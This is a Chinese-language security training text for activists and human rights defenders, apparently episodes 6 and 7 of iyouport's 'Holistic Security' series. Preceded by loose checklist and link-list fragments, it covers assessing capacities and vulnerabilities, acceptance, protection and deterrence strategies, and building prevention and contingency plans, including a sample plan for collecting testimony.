1. 第1步：绘制一个初始压力表，并与您信任的人进行分析和思考。

- 第2步：决定一个固定的时间表，当您想检查和判断自己的压力状态和进行分析时。
- 第3步：如果您在一段时间内经常经历高压力状态，请检讨您的压力表，以确定它是否仍然足够。

1. 发生了什么

- 什么时候发生的
- 在哪发生的
- 谁受到了影响？
- 是否涉及基于性别、政治倾向、种族民族的暴力？对于涉及第三方的具体事件，这尤其重要。要考虑身体和心理两方面。
- 如果发生侵略性事件，谁应负责？
- 为什么您觉得这件事发生了？尽量避免立刻进行指责，而是要确定事件的事实。
- 它的起源是什么？这是否与常见的违法行为、环境因素、或您的人权工作和反抗行动有关？

1. 不要错过《过去和现在的线人：政治渗透是如何操作的？（1）》

- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 《警察渗透抗议运动简史》
- 《如何应对当局的渗透》

- 《如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段》

1. 对您所处环境中正在进行的政治、经济、社会和技术趋势，进行分析

- 为实现反抗目标而进行的活动或工作类型的列表
- 您根据前文内容构建的“行为者图谱”，尤其是您的对手的关系图
- 您在以前的工作中观察到的安全指标列表

1. 您是否曾经发现或其他人告知过您关于威胁的发生？那是您以前不知道的事吗？

- 如果您是在小组中进行练习，那么其他人会对您提到的威胁感到惊讶吗？为什么？
- 在您意识到威胁之前，您认为它们已经存在了多长时间？
- 您如何才能最快地意识到这些威胁？
- 您如何在组织中与队友交流有关他们的信息？
- 是什么使您的队友或多或少地感到事态严重？
- 您能识别出比实际更为严重的威胁吗？为什么？
- 如果您正在团队中进行这个练习，请考虑：以上答案的区别是什么？是什么让您和其他人以不同的方式想到同一威胁？

1. 威胁发生的可能性

- 是否有影响、什么时候产生的影响

1. 计票如此之慢，这是正常的吗？并不是《The U.S. Inability To Count Votes is a National Disgrace. And Dangerous》
2. 《警察情报中心如何跟踪抗议活动：通过BLM（1）》

- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器“眼中”的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》
- 《当甘地错了 ……：通过BLM（5）》
- 《警察如何使用推文监视抗议运动：通过BLM（6）》
- 《伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹》

1. 新的参与者的出现（比如新上任的政客等）

- 新披露的电子监控方法或技术，找到避免它的方式
- 新出现的维稳手段和操作方法
- 关键角色的话语，关于他们如何看待您的工作的新态度

1. 您目前如何进行态势监测和分析？您有哪些空间可以讨论社会的持续发展吗？尤其是与您的利益密切相关的发展；

- 您对此有何信息来源？ —— 列出这些内容，并针对它们提供的信息质量，分别记录它们的优缺点。这些信息源是客观的还是有偏见的？
- 考虑一下过去12个月在本地、本国和国际范围内发生的事，并列出5～10个您认为重要的发展。您可能不需要对它们进行分类，但是请务必考虑：政治发展、经济发展、社会发展、技术发展、法律发展、环境发展；
- 这些发展是否会直接或间接影响您的安全性？如果是这样，怎么办？去年您有遭受任何袭击或事故吗？它们与这些发展有何关系？

1. 行为者和关系图谱（您在上一集的练习中制作的那个东西）

- 信息生态系统（您在前面的练习中分析的东西）
- 安全指标（本集最初时您分析的东西）
- 影响或发生的可能性
- 纸笔、挂图、标记物（便签、马克笔...）

1. 《灾难中捍卫人权的技巧指南：公民活动家如何在COVID19期间记录真相》

- 《公民取证技巧：如何留住真相？》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识》

1. 这些对手的能力是什么？

- 他们在实施这些威胁方面会有什么限制？（他们的能力极限是什么？）
- 是否有中立方或盟友可以影响他们？（您有可能的帮手吗？）
- 是否有针对您或盟友实施此类威胁的历史？（如果有，研究整件事，您可以从这得出什么经验教训吗？如果那种事重新发生

在您身上，提前思考和准备有助于您比前车之鉴做得更好）

1. 您当前的心态会如何影响正在执行的计划和应急措施？

- 这种威胁是否发生在特定的活动中？在这种活动中，您发现自己处于什么样的精神或身体状态？有哪些最佳做法可以保护您，或者哪些做法可能使您更容易受到伤害？
- 您的行为或心态的哪些要素实际上可能会增加发生这种情况或其影响的可能性？

如果您希望以书面形式记录练习的结果，可以使用以下格式：

一旦您进行了这些分析，下一步就是审视自己，考虑您现有的做法、资源和其他能力，如何能够保护您免受危害，以及您在做法和资源方面尚且存在的缺陷、以及其他弱点如何使您容易受到其影响。

我们将在下一集的战略分析中详细解释更深入的做法。〇

—— 未完待续 ——

原文

草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性 - iyouport

整体安全！-课程和训练

【2020年12月4日存档】本系列内容是一套培训手册需要按顺序阅读，因为后面的内容将使用前面的内容中帮助您构建好的工具和基本措施。这里是第6集

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》

📌 本系列内容是一套培训手册需要按顺序阅读，因为后面的内容将使用前面的内容中帮助您构建好的工具和基本措施。

应对威胁

「图」

前文中我们和您一起分析了所有可能发生的威胁和发生形式 —— 从来自人身的到来自技术的，接下来就可以开始分析如何应对这些威胁了。

在建立安全策略时，人们从来都不是从零开始的；您的直觉已经在日常生活中帮助您避免威胁或应对威胁，此外，您还有某些社会化的实践 —— 即 “常识” —— 有时候也可以使您免受伤害。比如，群体事件发生时要做好应对断网的准备（见《如何用指标预测网络中断》）

再比如，一些中国互联网用户有这样的 “常识”：如果您在社交媒体上的言论忽然遭遇大批水军围攻，那么就需要警惕稍后可能会有警察上门。

📌 但这显然是不够准确的判断，它来自于人们所了解的发生在他人身上的一些前车之鉴。如果您就此认为 “如果我没有被水军围攻，就没必要担心警察上门”，那就是错误的：我们称之为 “虚假的安全感”；反之，如果您经常遭遇水军围攻，因此经常陷在担心警察上门的恐慌中，那也是错误的：这是一种凭空制造的压力，长此以往您的身心将受到明显伤害，恐慌导致愈发难以判断真正的威胁 ，难以及时准确地作出反应 —— 而这正是维稳警察最期待的 “效果”，正如我们在本系列第1集的导言中所讲述的（下图）。

📌 在本集中，我们将考虑这些做法以及您的其他能力，尤其是您的弱点，以培养批判性思维，避免错误的 “安全感”。

为了从本集中获得最大的收获，请确保您已经完成了上一集中的背景分析练习。

威胁、能力和脆弱性

「图」

为了制定应对您所面临的威胁的措施，可以从使您更容易或更不容易受到这些威胁的因素来考虑。这些因素就是您的能力和脆弱性：

- 能力有助于使您更安全地抵御特定的威胁（即 降低其可能性或影响）
- 脆弱性会使您更容易受到威胁（即 增加了威胁的可能性或影响）

能力和脆弱性可能来自您自身、也可能来自其他行为者、或者您所处环境中与您的安全有关的特征。比如，如果您的爱人有点不够沉稳，心里藏不住话，那么TA就可能是您的 “脆弱性”；再比如，您的办公室网络升级了一系列安防措施、并对成员进行了安全培训，就会为您和其他同事带来 “能力” ……

📌 一旦您确定了这些特征，就可以采取行动，以减少脆弱性、并建设您的能力，以最大限度地降低威胁的可能性或影响，从而最大限度地降低每一种威胁所带来的风险。

现有做法和能力

「图」

如上所述，步骤是首先评估您目前的防御做法和能力。大多数人在日常生活中已经采取了一些基本的安全措施：比如锁上办公室的门和为自己的在线账户设置强大的密码，等等，都是安全措施。但是，必需努力避免自满 —— 虚假的安全感是危险的。非常建议采取批判性思考，想想看自己现有的做法是否与您在前文的练习中所发现的威胁直接相关？是否已经将压力水平和保持您的整体健康的标准考虑在内了？

📌 我们在列表-5 “护盾” 板块中收集的内容是专门提供给敏感人士的；并且，在《难以被追踪》和《完美隐身》两个系列中系统性地讲解了安全防护 —— 链接是两个系列的最有一集，其中包含该系列完整列表。

考虑一下哪些「能力」与您已经确定的威胁的不同方面相对应 —— 比如：

- 在司法骚扰案件中：您具有良好的法律知识
- 在被没收电脑的情况下：您有加密的硬盘、隐藏的加密分区设置妥当

技术角度上要采取我们在《敌对环境中的安全性》系列中介绍的思考方式（当敏感人士考虑安全问题时，几乎所有值得分析的环境都是敌对环境）。

在下面的练习中，您可以开始回顾您已经确定的威胁以及它们的表现形式 —— 谁和什么会受到影响？会在哪里发生、如何发生？威胁来自谁、它将产生什么样的连锁反应？ —— 根据您已经拥有的做法和能力进行评估。

练习

「图」

在此练习中，您可以根据自己现有的安全实践和与之相关的其他能力，考虑您在前面内容中确定并认为最重要的每一种威胁。这将为您提供一个“基准线”，您可以在此基础上进行建设和改进。

对于您所确定的每一种威胁，都有一系列的问题。在这里，您可以将您现有的安全做法和能力与这些问题中的每一个问题联系起来，具体如下：

谁/或什么会受到威胁？—— 在此确定有哪些能力（如果有的话）已经在保护此人或此物免受威胁。「能力」 的例子可以包括，比如：

- 在司法骚扰案件中：您具有良好的法律知识
- 在被没收电脑的情况下：您有加密的硬盘、隐藏的加密分区设置妥当

威胁的背后操手是谁？—— 您是否已经有某种策略来与这个行为者接触？您是否有任何策略或资源可以阻止他们对您采取行动？如果有，是什么？如果他们以前曾对您采取过行动，您是否以某种方式做出了回应？如果有，如何回应的？如果没有，也没关系：这在帮助您找出差距时很重要。

【举例】如果您的对手是政府间谍，他们正在试图从您和队友的私密交流中挖掘能把你们连锅端的情报线索，那么您能阻止他们成功的策略就是加密、隐写术、加密卷等技术；您的资源是对技术的熟练掌握和队友之间的密切合作；想想看您有没有曾经遭遇过类似的事？还是您听说其他人经历过？其中有什么经验教训能帮您在下一次做得更好？总结它们。

攻击者会怎么做？—— 他们需要哪些信息来进行攻击？您是否采取了任何信息保护措施或反监视做法，以防止这些信息落入攻击者手中？

【举例】如上面例子，攻击者首先要知道您和队友的真实身份，才能对你们采取行动。如果您是活动家，是站在前台的人，您可能难以采取假名身份，但您的队友是行动者，成败更多取决于他们。于是，如果您的队友采取的假身份，那么即便攻击者的入侵拿到了你们的私密对话，他们也不知道行动者的真实身份，就无法做到在行动之前扼杀它。您所要做的就是，避免让攻击者了解到与您合作的人的真实身份。您的组织中应该对此做好安全培训。

在哪里？ —— 攻击者需要怎样接近您或进入您的财产？您如何保护自己周围的物理空间（如 建筑物、车辆、电子设备、私人财产等）？

例如，在危险的环境中，您有哪些“常识性”的做法可以保障自己的人身安全？

【举例】一些中国朋友曾经讲述过一个在警察敲门前的“终极做法”，即 准备一堆强磁铁，将电脑和磁铁包在一起，塞到妥当的地方。这就是常识性的做法。但无法保证这样做能完全避免取证软件，反而会显得您“很可疑”，警察会因此脑补出很多秘密。所以加密分区的方法将更好，在这里。

心理、情感和健康策略 —— 包括为应对这一威胁而采取的任何做法：您是否有任何有助于减轻压力、疲惫等心理威胁的做法、并提高可能有助于应对这一威胁的心态和意识？

如前文所述，只有当您能保持精力和敏锐度的时候，才更容易发现并有效应对威胁带来的挑战。

📌 在可能的情况下，试着考虑这些方面相对于您所确定的每一个威胁。如果您想不出一个或多个问题的答案，那也没关系：这意味着您发现了一个有待填补的缺口。

您将在后面的练习中考虑这些差距，并利用这些差距来确定您需要哪些新的资源和做法。

备注和技巧 ——

「图」

请注意：对于您给出的每一个答案，都要考虑这种做法或能力是否积极。您是如何知道的？如果您错误地认为现有的做法可以保护您的安全，就会有一种制造虚假安全感的危险。

如果您对某件事情不确定，不妨花点时间好好想一想，和您的同事或值得信赖的朋友谈谈，以便获得新的看法。

找出差距和漏洞

「图」

下一步要从一个稍微困难的问题开始。还有哪些差距可能使您容易受到这些威胁？您的哪些无益的心态或缺乏足够的知识或技能是您的「弱点」？

考虑和确定自己的弱点在情感上可能是一个艰难的过程。然而，这种洞察力将有助于您更准确地确定自己需要建立的新资源和技能，以改善安全性。

在思考这个问题时，请记住，如果缺乏足够的信息，或承受压力、恐惧和创伤，可能会导致您产生毫无根据的恐惧或未认识到的威胁。

📌 您必须努力在掌握信息和过度思考之间取得平衡！可以采取一些步骤，通过小组讨论、或与值得信赖的盟友和朋友交谈，来检查自己的看法。

根据您在前面练习中的分析，可以反思自己所知道的有关自己所面临的威胁的细节，以及预防或减轻这些威胁的现有做法。

下面的练习旨在帮助您找出自己与每种威胁有关的「差距和弱点」。

练习

「图」

在此练习中，您可以根据您现有的安全实践中的差距和您的弱点，考虑您在前文练习中确定并优先考虑的每一种威胁。这将使您更清楚地了解自己需要在哪些方面开始建设新的能力。

准备好笔和纸或其他书写材料。

再一次，使用您在前文练习中确定的威胁列表，以及在上面练习中确定的现有能力和做法。

在这里，您可以尝试确定自己现有实践中的差距和您的弱点，与您之前回答的每个问题相关。

请考虑以下问题：

谁/或什么受到威胁？—— 在此确定存在哪些差距或弱点（如果有的话）会使这个人或事物更容易受到威胁。

【举例】脆弱性可能包括：

- 在遭遇司法骚扰的情况下，一个人没有多少法律知识
- 在被没收电脑的情况下，没有密码的硬盘，或没有加密

谁是威胁的幕后黑手？ —— 也就是您的对手是谁？您在影响这个行为者的能力方面存在哪些弱点或差距？例如，如果没有办法直接与这个对手接触，使其接受您的工作、或阻止他们发起攻击，这可以被认为是一个差距。

这些威胁行为者会怎么做？—— 他们进行攻击所需的信息是什么？您在处理与自己的工作有关的信息的方式上是否有任何漏洞可能会助长这种威胁或使其更具破坏性？

漏洞在哪里 —— 您周围的物理空间（如建筑物、车辆、电子设备、私人财产等）的哪些方面使这种威胁更有可能发生或更具破坏性？例如，在办公室遭到警方突袭和被盗窃的情况下，门锁不牢固就是一个弱点。

心理、情感和健康方面的考虑 —— 在这一威胁的背景下，压力、疲劳等会对您产生什么影响？在您的健康实践中存在哪些差距或弱点，可能使这一威胁更有可能发生或更具破坏性？就如疲劳驾驶容易翻车，一样的道理。您需要对自己有清楚的了解，基于您通过前面章节中的练习得出的答案。

尽可能改善您找到的一切弱点。

识别新能力

「图」

到目前为止，您应该对自己所面临的威胁、自己相对于每一种威胁的能力和脆弱性，以及您的做法中存在的一些差距和改进的余地，有了很好的了解。这些差距正是您可以考虑建立新能力的地方。这些新的能力首先应该与您在上一次练习中发现的差距和弱点相对应。

练习

「图」

在本练习中，您可以考虑在前面练习中确定和优先考虑的每种威胁，您的能力和脆弱性，以识别需要建立的新能力，以维持自己的生活。

📌 在这里，您将尝试大胆构想您想要建立的新能力。考虑以下问题，可能有助于您确定这些能力：

谁/或什么受到威胁？—— 受威胁的人应该建立哪些新的能力，以减少已查明的威胁的可能性或影响？

威胁的背后推手是什么人？ —— 您可以如何尝试影响这些识别出的威胁背后的人或机构的成本效益分析？比如，当您的防护措施令对手不得不采用以色列那种几百万美元的间谍软件才能对您下手时，他们就需要三思一下了。

想想看，您有什么办法可以提高对手对您工作的容忍度或接受度，或者阻止他们对您采取行动？

📌 就如我们在《完美隐身》系列中介绍过的思考方式：没错，世上并没有百分百的安全，威胁行为者更多拼的是财力和实力，于是您需要做的就是最大程度上增加他们攻击您的成本，耗尽他们的财力和精力，您就赢了。

攻击者会怎么做？—— 哪些信息是他们进行攻击所必需的？如何进一步保护工作中的敏感信息，防止其落入坏人手中？

在什么地方 —— 如何提高您周围物理空间（如建筑物、车辆、电子设备、私人财产）的安全能力，以降低某种威胁的可能性或破坏性？

心理、情感和健康方面的考虑 —— 在这一威胁的背景下，您可以采取哪些做法来减少压力和疲劳，以便更清楚地认识到这一威胁、并作出更有创造性的反应？给攻击者以措手不及。

在接下来的内容中我们将探索有关如何在整体安全策略中开发和实施新能力的动力。

📌 定义一个全面的安全战略与简单地采取临时或即兴的方法来保护安全，有很大的不同。您对威胁的许多本能反应或临时性安全协议，也许能保证您的安全，但其中一些不一定有效，甚至还可能是有害的。

现在，您已经开始通过前面练习中确认的新战术和能力来更新您的安全战略。这些应与维持和扩大您作为人权维护者工作的社会政治 “空间” 的总体战略有关；这一概念将在下文中阐述。

安全策略：为您的敏感工作留出空间

「图」

📌 有效的安全战略和计划必须符合您开展反抗工作的具体政治、经济、社会、技术、法律和环境背景。

如前文所述，政治威胁来自其他行为者，这些对手的利益可能会受到您的工作的影响，因此他们打算封锁您开展工作的社会和政治空间。安全策略可以帮助您确定对手接触的策略，以维持或扩大这个空间。

思考三大类型的安全战略是有用的：

1、接受战略涉及与其他行为者 —— 盟友、中立方和反对者 —— 接触，以促进社会对您的反抗活动的容忍、接受度和最终的支持。这通常是通过宣传、运动、交涉和教育活动进行的。

2、保护战略强调学习或实施新的方法和做法，重点是捍卫您的工作空间。这也可能意味着利用您的盟友的力量来进行保护 —— 合作很重要，并弥补您现有安全做法中的不足。

3、威慑战略的重点是提高对手攻击您或您的工作的成本 —— 无论是金钱成本、名誉成本还是其他成本。这些战略在很大程度上还取决于宣传、运动、交涉和教育活动，并要求您有一个完善的威胁行为体图谱，以便知道哪些盟友可以帮助提高攻击您的成本。这就是在前面内容中完成的部分。

许多安全战略和计划将包括属于上述两类或所有三类的活动：当然，这取决于您所确定的背景和威胁。

试着完成以下练习，将您想建立的能力（在上面练习中确定的东西）与最适合您工作的战略目标相匹配。

练习

「图」

在这一练习中，您可以进一步发展您所确定的提高安全的必要新能力。从接受、威慑和保护战略的角度来考虑这些能力，将有助于您了解自己的总体安全战略，并帮助您想出更多的策略以进行发展。

如果您想写下练习的结果，可以考虑使用下面这样的格式：

步骤1：查看您在上一练习中确定的「准备新构建的能力」。考虑它们是否是：

- 一个有效的招数？
- 威慑战术？
- 护身符？
- 还是上述各项的结合

步骤2：现在，针对每种威胁，考虑可以采用的其他新策略，以便：

- 提高对手或社会对您的工作的容忍度和接受度
- 通过提高攻击成本来阻止对手对您采取行动
- 保护自己免受威胁，并更有效地应对威胁

继续使用您提出的新想法来扩展这个新能力的列表。

步骤3：对于已确定的每种新能力，请考虑您将需要使用的资源（财务和物质）以建立这些能力。

能力建设和外部资源

「图」

一旦您确定了按照上述总体战略解决安全方面的差距和脆弱性的方法，就可能需要进行某种形式的能力建设了。这可能意味着学习一种新的技能，也可能需要长期改变您的工作方式。

考虑以下有助于促进行为改变的因素：

1、福祉：不仅意味着敏感人士的身心处于可以积极学习的条件下，而且还包括，拥有足够的时间和安全的学习空间。

2、态度：您在多大程度上认为这一学习过程是有价值的、有用的和合乎逻辑的？📌 请记住，态度是主观的，可能会受到压力、恐惧和创伤经历的不利影响。

3、知识：对您所处的政治、经济、社会、技术、法律和环境背景的深刻理解，使您能拥有建立新能力的坚实基础。

4、技能：您能够参与和操控环境的核心。这些技能可能包括身体健康和自我照护、政治动员的技能、使用加密技术的技能，以及更多。

5、资源：在很大程度上影响着您改善上述要素的程度。想一想您和您的同事可以利用的任何资源，以及在必要时如何获得其他资源以进行能力建设。

IYP致力于成为您的资源。您甚至不需要让我们知道您在使用IYP作为资源。您可以在本系列这一培训材料的基础上尽情发挥，以满足您和团队的现实需求。

外部培训和顾问

「图」

培训和外部顾问在帮助组织和网络制定安全计划和技能方面往往非常有用。IYP提供的培训材料都是免费的，但如果您需要现场培训和实操，那可能会比较贵；如果您的组织内部沒有人能提供相同技能或培訓，依旧值得作出这样的預算。

📌 最好的顾问会针对您自己的安全情况赋予您权力，而不是为您提供所谓的「快速解决方案」！利用他们来培训您认为与您的活动相关的工具和策略，并弥补您现有安全策略的不足。

请注意，外部顾问不应该在没有组织成员参与的情况下，对您的机构的安全实务进行分析，也不应替您作出改变或决策。

选择培训或培训师

「图」

朋友、和您一起从事敏感政治工作的同事、值得信赖的国际组织，都是选择安全问题培训的良好建议来源。

📌 试着对您期望学到的东西有一个明确的想法，但要尊重培训师的意见，即 在给定的时间框架内可以实现什么。

在您决定聘请他们之前，请考虑他们应该具备什么样的经验或知识。考虑语言、时间、地点和后续行动的选择等因素；之后您是否有时间练习或使用新技能、知识或资源？练习非常重要，只有您行动起来才能真正掌握这些技能。

在您的组织内讨论这些问题，以达成一个对大家都有效的解决方案。如果一些成员不感兴趣，就会对培训产生负面影响，并会降低随后可能产生的效益。

📌 我们无法进行在线的培训（并非没有尝试过），但即便是免费的，也很难确保所有参与者都能按时上线；并且互动方面受到参与者

各自兴趣点偏差的阻碍（如果互动不充分，就不如我写一套指南分发给人们。培训的目标就是现场解决问题）。

我们不会阻拦您进行在线远程培训的尝试，如果您认为现场培训非常危险的话 —— 有些情况下的确如此。但您真的需要斟酌在线培训的效率问题 —— 它可能会奇低。因为您真的不应该使用视频会议软件，更多见《不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全》。

安全的物质资源

「图」

建立和提高您的安全能力往往会产生财务影响，并可能给已经捉襟见肘的资金预算带来压力。无论是更换硬件受损的新笔记本电脑的费用，还是培训费用，最终您的安全都可能需要钱。

有一些组织会向需要解决安全问题的人权维护者提供财政支持，申请过程有点复杂，而且需要时间，您需要考虑到这些；并且尽可能令您的申请过程保持私密，因为比如在中国，申请外国组织的资金很有可能被所谓的“间谍法”捕获，在当局想要惩罚您的时候拿出来作为把柄。

对于相关资源，在这里下载一份手册：《New Protection Manual for Human Rights Defenders》。

下一集中我们将继续讲解创建安全计划和协议的一些方法，并推荐练习以帮助您找到最适合自己和团队的方法。下次见。〇

—— 未完待续 ——

原文

充分的准备和应急反应同样重要：整体安全（7）- 计划是 “活的” - iyouport

整体安全！-课程和训练

【2020年12月9日存档】虽然安全计划和协议是重要而有用的工具，但如果情况需要，灵活地放弃它们的能力同样重要，甚至更重要

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》

📌 本系列内容是一套培训手册需要按顺序阅读，因为后面的内容将使用前面的内容中帮助您构建好的工具和基本措施。

本集开始将和您一起制定安全计划和协议。

一旦您明确了您和组织在活动中所面临的威胁，就可以开始将您的需求组织成安全计划或协议。这些计划可以是正式的书面文件，也可以是非正式的共享协议，但无论哪种方式，它们都应被视为 “活的”，并应定期更新和审查。

您可以根据任何适合您的逻辑来组织这些计划和协议，例如 按您的反

抗活动、按您组织动员的地区、按人、按星期、或按照任何其他符合您工作方式的标准。无论您如何安排自己的计划，所有好的计划都应该包括一些共同的要素。

安全计划和协议的要素

「图」

📌 大多数好的安全计划都能达到以下一个或两个目的：

- 预防威胁 —— 这些策略旨在防止已查明的威胁发生 (即减少其可能性)。

比如，您穿上了防弹衣，就是为了防止/减少可能的大规模枪击威胁的影响；您制作了并熟练使用了加密卷，就能防止/减少电脑被警察查抄后重要资料丢失和您被起诉定罪的威胁。

- 应急反应 —— 也称为应急计划，是您在威胁成为现实时所采取的行动。这些行动的目的一般是减轻事件的影响、减少事件发生后的进一步伤害，并阻止侵略者 (如果有的话) 进行进一步的伤害。

比如，您在参加抗议活动中被便衣警察瞄准了，他们想要抢走您的设备，于是您快速禁用了生物识别功能；这就可以让警察费点劲、甚至很难打开您的手机；再比如，您在办公室里不仅配置了明显的监视摄像头（比如在屋顶的墙角上）而且配置了隐藏的摄像头，这样一来，即便闯入者迅速毁掉了那些明显的摄像头，您的隐藏摄像头会继续工作，以记录下闯入者的行为。

对于您在前面的练习中已经识别出的每一种威胁，您通常应该同时具备预防和应对策略（参见上一集中的练习）。

下面我们将更详细地探讨这在不同情况下可能意味着什么。

预防威胁

「图」

📌 许多预防策略将反映您的接受、威慑和保护（或自卫）战略。这些策略可能包括宣传您的抗议运动、或其他形式的与公众或民事/军事当局的接触，以提高人们对您的工作的认识和接受。或者，这些措

施可能涉及加强您与盟友的联系，或采取其他策略，建立您自己的能力和灵活性。

这些措施一旦实施，很快就会成为您的工作和个人生活的一个“正常”方面，尽管可能需要时间来适应。

紧急应变

「图」

要知道，即使是最好的计划也可能会失败。有些时候，也许是由于环境瞬息万变，尽管您已经尽了最大的努力去预防，但还是会遇到侵害或事故。于是您需要 PlanB。有了应急预案，您就可以有条不紊地应对安全事件，并限制伤害。

应急预案通常都是针对具体案例的。正如前文中所讨论的那样。诸如轻微犯罪或自然灾害等因素可能会严重影响您的工作，也是许多敏感人士经常遇到的威胁，因此，如果您认为这些威胁已经构成风险，就必须制定应急计划，以应对这些可能发生的情况。

📌 一些简单的例子可能是，比如手头有一个可信赖的好律师的联系方式，商量好在抗议活动期间被捕时发送加密的警报信息，或者只是在办公室里准备一个急救箱，以防携带武器的闯入者导致您和队友受伤。

- 不要错过我们的“在灾难中幸存”系列—此链接为本系列最后一集，其中包含完整列表

福祉和设备

「图」

至关重要的是，要包括您自己的福祉和管理您的设备和信息的策略。

📌 应该考虑采取哪些行动来保持您的体力，并对您的工作和安全保持一种完整的关注，例如，安排吃饭、睡觉、放松和享受的时间和地点，不要忘记这些因素同样重要！您还应该考虑开展工作所依赖的设备—— 不论是电脑还是打印机、扫描仪还是录像机，以及确保能够控制谁可以访问您的信息和通信的策略。

「图」

📌 下面是一个敏感人士简单安全计划的例子，帮您了解所有这些在实践中看起来是什么样的。

目标任务：收集侵犯人权行为受害者的证词。

地点：在农村地区。

威胁 —— 被警察骚扰或逮捕。

- 被没收电脑、手机。
- 因此而丢失数据。
- 损害受害者的匿名性。

预防策略 —— 行动和资源

- 提醒同事、友好的大使馆和国际组织，关于行动的时间期限和地点。
- 将地方当局/侵犯人权责任人的详细联系资料提供给大使馆和国际组织。
- 每12小时与同事签到一次。
- 证人证言将被立即保存到加密卷中。
- 证人证言会用GPG加密后发给同事 —— 每天晚上固定时间发送。
- 邮件收件箱和已发文件夹在使用后将被彻底清理。
- 安全指标和签到将通过安全的端对端加密通讯共享。

应对策略 —— 行动和资源

- 编写警报信息 (暗语)，以便在发生被监视/被跟踪的情况下发送给接应您的队友。暗语是只有你们两人能理解的话。
- 准备好被捕时发送的警报信息（代码/暗语）。
- 将律师的号码放在快速拨号上。

应急预案 ——

- 如果被抓，要发警报信息给同伴，并打电话给律师。
- 同伴在收到报警信息后，会向盟友组织报警 —— 使馆和国际组织等。
- 要求国际组织发出紧急呼吁。
- 如果在发生致命威胁的情况下，要交出的加密卷外层密码。

福祉方面的考虑 —— 您的心理健康是能否敏锐反应的决定性因素

- 在当地一家体面的餐馆吃饭，每天至少两次（selfcare + 保存您的体力）
- 在用餐时间关闭手机和所有其他设备（享受当下）
- 每天晚上通过安全渠道给家人打电话联系（家庭是坚实的后盾）

设备和信息 ——

- 手机上有加密的通信应用
- 具有加密卷和加密电子邮件的电脑，并具有如 GPG 这样的功能

📌 请注意，上面的例子仍然意味着盟友的密切合作、协调一致的行动，以建立一个新的联盟。不要让自己孤立无援。

当涉及到团体或组织时，规划的过程可能会涉及一些额外的步骤，以确保团体动态不会受到负面影响。

如前面的内容所述，拥有坚实的最新安全计划是您的复原力和灵活性的重要补充，但是，不能取代它们。📌 除了详细的分析和规划外，您还必须为意外情况做好准备。虽然安全计划和协议是重要而有用的工具，但如果情况需要，灵活地放弃它们的能力同样重要，甚至更重要。当出现您没有 —— 或不可能 —— 计划到的情况时，培养中心意识和冷静是至关重要的。

团体和组织的安全

「图」

团体和组织具有复杂的内部动态和文化，影响着您的互动方式和安全计划。当您考虑到，作为一个群体，在工作过程中，不愉快的事发生在自己身上的真正可能性时，这可能会变得更加复杂。

在一个群体中进行安全规划可能会带来压力和情绪化，担心显得过于偏执是很常见的。从实际情况来看，在小组中进行分析并达成协议也是很困难的。为了使安全计划成功，需要每个人都能认同，但在团体中，这可能是一个高难度的任务！

在此，我们将探讨在团体和组织内建立和改进安全策略和计划的一些关键问题。

创建和维护安全计划

「图」

📌 一旦小组进行了风险分析（使用前文练习中概述的工具），在制定安全计划时，您可以记住一些要素：

- 实现协调 —— 合理地介绍您的计划，并与您的同事讨论每一个步骤。安全是一个非常情绪化的问题，我们每个人对它都有不同的看法，这意味着谈论它是一个需要时间和安全空间的话题。尽量不要吓唬人，但要给人们提供事实，并创造一个平静的空间，让人们提出问题和关切。
- 参与式设计 —— 有些人可能不欢迎未经他们协商就决定的安全计划。高风险的活动和紧急情况可能会让人感到痛苦，重要的是每个人都要对自己被分配的角色感到满意，如果不满意，也有一个空间可以提前表达自己的担忧。在计划还在制定的时候，尽量让更多的人参与进来。
- 角色扮演 —— 在某些情况下，设计一个角色扮演，使组织成员能够练习如何应对某种情况或紧急情况，可能是有用的。然而，要谨慎行事，确保每个人都愿意参与，因为角色扮演可能会引发过去经历过创伤的人的情绪反应。
- 重新规划和考虑 —— 请记住，所有安全计划都应被视为 “活的”，并应定期进行重新评估和讨论，特别是在新成员加入小组时。包括固定的日期来审查您的安全实践和计划，并确保安全不是事后的想法，而是您的战略计划的核心。

团体和组织的应急计划

「图」

制定紧急或应急计划是至关重要的，因为没有任何预防措施能在任何时候都100%有效。在制定这种计划时，要考虑到以下关键因素：

1、紧急情况的定义

「图」

决定什么是 “紧急情况” —— 即我们应该开始实施计划中的行动和应急措施的时间点。这一点很重要，因为有时会不清楚 —— 比如 您想象一下这样的情况，比如在外地任务中与同伴失去联系，您会等多久才宣布紧急情况？

2、角色和责任

「图」

给每个人分配一个明确的角色，并让他们事先知道并同意 —— 这将减少事件发生时的混乱和恐慌。在每一种威胁的情况下，考虑您可能必须承担的不同角色，以及应对紧急情况时的实际情况。

